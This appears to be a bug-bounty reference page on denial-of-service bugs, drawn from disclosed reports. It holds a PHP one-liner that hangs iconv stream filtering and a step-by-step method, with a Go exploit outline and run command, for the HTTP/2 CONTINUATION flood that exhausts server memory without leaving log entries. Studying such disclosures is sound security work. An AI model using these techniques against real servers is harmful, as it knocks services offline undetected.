<?php $fh = fopen('php://memory','rw'); fwrite($fh,"abc"); rewind($fh); stream_filter_append($fh,'convert.iconv.iso-10646/utf8//IGNORE',STREAM_FILTER_READ,[]); echo stream_get_contents($fh); // endless loop, 100% CPU

Insight — Encoding-conversion routines (iconv, mbstring) are recurring infinite-loop/DoS sinks. If an app lets user input choose or flow through charset conversion filters, test malformed byte sequences with //IGNORE//TRANSLIT variants for hangs.

Real-world example

HTTP/2 CONTINUATION flood -> heap exhaustion (CVE-2024-24549 / CVE-2024-27316)

◆ High
Specimen #2334401 · ibb · 4860 · 42 votes · resolved
Program ibbSurface web

Root cause

HTTP/2 servers buffer header fields delivered across HEADERS + many CONTINUATION frames before resetting the stream when limits are exceeded; by sending headers up to (but not over) the size/overhead limits and never setting END_HEADERS, connections stay alive with buffered headers held in memory, and a few such connections exhaust the heap (OutOfMemoryError / OOM).

Method

  1. Open an HTTP/2 connection to the target
  2. Send a HEADERS frame then N CONTINUATION frames of headers sized just under the server's limits so no GOAWAY/ENHANCE_YOUR_CALM is sent
  3. Leave the connection idle (never send END_HEADERS) and open more connections; buffered headers pile up until OOM
# exploit (Go) skeleton, per report: # per connection: HEADERS frame + 8x CONTINUATION frames, each 100 headers of 10-char name/value # (just under header count/size limits so connection isn't dropped); last frame WITHOUT END_HEADERS # go run exploit.go -address TARGET:PORT -connections 50

Insight — CONTINUATION frames let an attacker stream unbounded header data that servers buffer before enforcing limits. Because no full request completes (no END_HEADERS), the attack leaves NO entries in access logs, so defenders can't see it. Same primitive hit Tomcat (CVE-2024-24549) and Apache httpd (413-buffering, CVE-2024-27316); only fix is a patch or disabling HTTP/2.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 296 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.